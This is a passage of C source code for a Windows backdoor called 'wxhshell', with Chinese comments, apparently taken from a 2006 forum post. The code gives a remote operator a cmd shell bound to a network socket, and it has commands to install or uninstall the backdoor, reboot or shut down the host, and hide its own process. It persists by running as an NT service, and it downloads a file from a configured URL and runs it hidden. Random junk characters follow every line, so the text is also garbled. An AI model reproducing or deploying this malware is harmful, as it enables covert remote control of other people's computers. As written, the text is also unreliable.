  case '?': { #ZJ _T`l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h%o%fH&F!  
    break; gy,ht3  
  } Fu SL}P  
  // 安装 ZOft.P O  
  case 'i': { In:9\7~jC  
    if(Install()) t9,\Hdo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\`_3=  
    else |8&,b`Gfo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Ux?,  
    break; Qi ua  
    } V@B__`y7  
  // 卸载 -|J"s$yO4  
  case 'r': { HKU~UTRnZ  
    if(Uninstall()) jlkmLcpf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<At_YS  
    else 0C =3dnp6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v/Py"hQ  
    break; 1{r3#MVL  
    } -(~.6WnhS  
  // 显示 wxhshell 所在路径 [="e ziM{  
  case 'p': { h hG4-HD  
    char svExeFile[MAX_PATH]; zO~8?jDN4|  
    strcpy(svExeFile,"\n\r"); ]p _L)  
      strcat(svExeFile,ExeFile); %=n!Em(  
        send(wsh,svExeFile,strlen(svExeFile),0); `Bo*{}E  
    break; 33o9Yg|J~  
    } V^7V[(~`  
  // 重启 bt"W(m&f  
  case 'b': { Ov};e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z,RzN5eN  
    if(Boot(REBOOT)) O ,J>/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =@m &s^R  
    else { {v=T [D  
    closesocket(wsh); vX{J' H]u  
    ExitThread(0); $&y%=-]|  
    } T?:Rdo!:u  
    break; u5O+1sZ"6  
    } GS0;bI4ay  
  // 关机 o}$XH,-9&  
  case 'd': { aK&b{d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jK!Au  
    if(Boot(SHUTDOWN)) FemC Lvu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PpGL/,]X  
    else { w Qgo N%  
    closesocket(wsh); ||T2~Q*:y  
    ExitThread(0); 8 BY j  
    } lphFhxJA{  
    break; O}tZ - 'T  
    } 4zASMu  
  // 获取shell 2>|dF~"  
  case 's': { L; T8?+x  
    CmdShell(wsh); vGc,vjC3x  
    closesocket(wsh); )'Oh `$M  
    ExitThread(0); $56Z#'(D  
    break;  V_C-P[2~  
  } AjmVc])  
  // 退出 ^@ I   
  case 'x': { pM^9c7@!:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y&[1`:-~-  
    CloseIt(wsh); ~res V  
    break; <A<{,:5C  
    } Q~814P8]  
  // 离开 FqkDKTS\&  
  case 'q': { `sUZuWL_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Ilm{@ b=  
    closesocket(wsh); N/]o4o  
    WSACleanup(); ;KOLNi-B&  
    exit(1); RSr %n1  
    break; I[=j&rK`  
        } l/BLUl~z  
  } Jpj}@,  
  } ji1viv  
$ .C=H[QC  
  // 提示信息 :@kGAI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {_b%/eR1  
} mYxuA0/k  
  } il}%7b-  
.clP#r{U  
  return; guX 9}  
} W@T~ly;e*  
9!f/aI  
// shell模块句柄 uG?_< mun  
int CmdShell(SOCKET sock) $u7; TW6QD  
{ wi hH?~]  
STARTUPINFO si; .9,zL=)Ba  
ZeroMemory(&si,sizeof(si)); 6$fHtJD:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m*ISa(#(,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +)kb(  
PROCESS_INFORMATION ProcessInfo; UUSq$~Ct  
char cmdline[]="cmd";  u*e.yN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i#7DR>XF/  
  return 0; D Gr> 2  
} BsBK@+ZyI  
{xwm^p(f  
// 自身启动模式 ^w(p8G_-w  
int StartFromService(void) s<*XN NE7  
{ 0F@"b{&0  
typedef struct EM]s/LD@%  
{ (>F%UY  
  DWORD ExitStatus; SLO%7%>p  
  DWORD PebBaseAddress; ;+0t;B!V  
  DWORD AffinityMask; C2@,BCR  
  DWORD BasePriority; Ol1e/Wv  
  ULONG UniqueProcessId; =6woWlfb  
  ULONG InheritedFromUniqueProcessId; '=[?~0(B  
}   PROCESS_BASIC_INFORMATION; 4?0vso*X<:  
">~.$Jp_4  
PROCNTQSIP NtQueryInformationProcess; 7Ok;Lt!x  
.9R [ *<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .nG#co"r}3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SPN5dE.@  
"vXxv'0\f  
  HANDLE             hProcess; #rxVd 7f  
  PROCESS_BASIC_INFORMATION pbi; W"):-Wq  
!O-T0O   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I'PeN0T f  
  if(NULL == hInst ) return 0; Z&0'a  
N U|d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); , 3,gG "  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .^N/peU q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #6ri-n  
Uh7v@YMC  
  if (!NtQueryInformationProcess) return 0; m6n?bEl6I  
wm]^3q I2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MG[o%I96  
  if(!hProcess) return 0; Vm%1> '&  
$P>`m$(8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ${+ @gJ+S  
cU0s p  
  CloseHandle(hProcess); S?RN?1  
cj+ FRG~u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i%ZW3MrY~  
if(hProcess==NULL) return 0; 5V5%/FU m  
f&}k^>N#3  
HMODULE hMod; +SsK21f"r  
char procName[255]; |o,8V p  
unsigned long cbNeeded; I([!]z  
k:JrHBKv\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k9$K}  
gT$Ju88  
  CloseHandle(hProcess); <.pU,T/  
eAX )^q  
if(strstr(procName,"services")) return 1; // 以服务启动 [P Q?#:r  
;FBUwR}  
  return 0; // 注册表启动 0|2%vh>J  
} $wmvKQc{lx  
uIcn{RZ_z  
// 主模块 (:._"jp]  
int StartWxhshell(LPSTR lpCmdLine) 0dhF&*h|L  
{ ktj]:rCkF  
  SOCKET wsl; Of{/t1o?  
BOOL val=TRUE; KC(xb5x Y  
  int port=0; NLS%Sq  
  struct sockaddr_in door; /3e KN  
m_=$0m J$  
  if(wscfg.ws_autoins) Install(); ^dP KDrKxh  
*:>"q ej  
port=atoi(lpCmdLine); T?:glp[4I  
ZN! 4;  
if(port<=0) port=wscfg.ws_port; _u{c4U0,  
QA2borfy  
  WSADATA data; ,oaw0Vw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {z(xFrY  
.uyGYj-C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZQ)>s>-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A$#p%y b  
  door.sin_family = AF_INET; Vl_:c75"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }@Ge}9$ h  
  door.sin_port = htons(port); 'a$Gv&fu  
hGd<<\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @) s,{F  
closesocket(wsl); F;=4vS]\  
return 1; RE =`  
} 2kdC]|H2?  
nA P.^_K  
  if(listen(wsl,2) == INVALID_SOCKET) { /I)yU>o  
closesocket(wsl); Q2 zjZC*'%  
return 1; } @K FB  
} `D`sr[3n  
  Wxhshell(wsl); [[>wB[w  
  WSACleanup(); I4i2+ *l}  
*g y{]  
return 0; j7sKsbb  
0G7K8`a  
} >=UF-xk;  
w=LP"bqlI  
// 以NT服务方式启动 c6nflk.l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tj Gd )  
{ OR}c)|1  
DWORD   status = 0; H|R T?Q  
  DWORD   specificError = 0xfffffff; ][W_[0v  
K?s+3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cgl*t+o&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9AxCiT.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w=^`w:5X  
  serviceStatus.dwWin32ExitCode     = 0; w QNxL5B  
  serviceStatus.dwServiceSpecificExitCode = 0; Bn61AFy`  
  serviceStatus.dwCheckPoint       = 0; R  zf  
  serviceStatus.dwWaitHint       = 0; ua5OGx  
Kv.>Vf.T}_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .so[I  
  if (hServiceStatusHandle==0) return; jy giG&H  
Qtbbb3m;  
status = GetLastError(); Ku\Y'ub  
  if (status!=NO_ERROR) 0A,]$Fzt  
{ +n<k)E@>J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]%BWIqbr  
    serviceStatus.dwCheckPoint       = 0; dxZu2&gi  
    serviceStatus.dwWaitHint       = 0; Ix(?fO#uNF  
    serviceStatus.dwWin32ExitCode     = status; UJfEC0  
    serviceStatus.dwServiceSpecificExitCode = specificError; YqPQ%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;]gP@h/  
    return; x~GQV^(l3  
  } {"&SJt[%X  
/1x,h"T\<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'XzXZJ[uq  
  serviceStatus.dwCheckPoint       = 0; ~zSCg|"r  
  serviceStatus.dwWaitHint       = 0; @+9<O0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %^1cyk  
} ,WvY$_#xW%  
<Q ?a=4  
// 处理NT服务事件,比如:启动、停止 p/U+0f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yaG= j  
{  .&9 i  
switch(fdwControl) ]8T |f  
{ FXzFHU/dP  
case SERVICE_CONTROL_STOP: :6zG7qES3  
  serviceStatus.dwWin32ExitCode = 0; %{/%mJoX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xdf82)  
  serviceStatus.dwCheckPoint   = 0; NzU,va N  
  serviceStatus.dwWaitHint     = 0; qf=1?=l291  
  { O~59FuL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V5GW:QT  
  } Ma8_:7`>O  
  return; rg{9UVj  
case SERVICE_CONTROL_PAUSE: {dL?rQ>5L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 94 e): jS  
  break; ;x:rZV/  
case SERVICE_CONTROL_CONTINUE: ;=<-5;rI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X=Ys<TM,  
  break; q^A+<d  
case SERVICE_CONTROL_INTERROGATE: 3,]gEE3  
  break; RjWqGr;bO  
}; Wm);C~Le  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $KLD2BAL  
} I!>\#K  
{X[ HCfJd  
// 标准应用程序主函数 # eCjn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *P 3V  
{ `ORECg)  
YKE46q;J  
// 获取操作系统版本 @BrMl%gV  
OsIsNt=GetOsVer(); `;l?12|X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WdZ:K,  
yuDZ~0]R  
  // 从命令行安装 TYlbU<  
  if(strpbrk(lpCmdLine,"iI")) Install(); {X*^s5{;H  
Yr w$  
  // 下载执行文件 ?W0)nQU  
if(wscfg.ws_downexe) { ^':!1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >IX/< {);M  
  WinExec(wscfg.ws_filenam,SW_HIDE); )r[&RGz6  
} hSK;V<$[Z  
,oNOC3 U  
if(!OsIsNt) { M)+$wp  
// 如果时win9x,隐藏进程并且设置为注册表启动 e]T`ot#/  
HideProc(); C=s1R;"H  
StartWxhshell(lpCmdLine); !A>z(eIsv`  
} ?UK|>9y}Z  
else 7C$ 5  
  if(StartFromService()) cZ(elZ0~  
  // 以服务方式启动 0b/WpP  
  StartServiceCtrlDispatcher(DispatchTable); "H&"(=  
else -AhwI  
  // 普通方式启动 t\RF=BbJJ  
  StartWxhshell(lpCmdLine); B%KG3]  
wtT}V=_  
return 0; &z]K\-xp  
}
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只看该作者 1 发表于: 2006-10-10
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